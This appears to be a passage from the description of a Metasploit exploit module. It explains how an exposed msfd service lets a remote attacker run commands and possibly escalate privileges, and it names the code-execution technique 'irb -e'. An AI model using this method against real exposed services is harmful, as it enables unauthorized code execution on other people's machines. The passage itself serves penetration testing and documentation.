15
      Metasploit's msfd-service makes it possible to get a msfconsole-like
16
      interface over a TCP socket. If this socket is accessible on a remote
17
      interface, an attacker can execute commands on the victim's machine.
18

19
      If msfd is running with higher privileges than the current local user,
20
      this module can also be used for privilege escalation. In that case,
21
      port forwarding on the compromised host can be used.

23
      Code execution is achieved with the msfconsole command: irb -e 'CODE'.
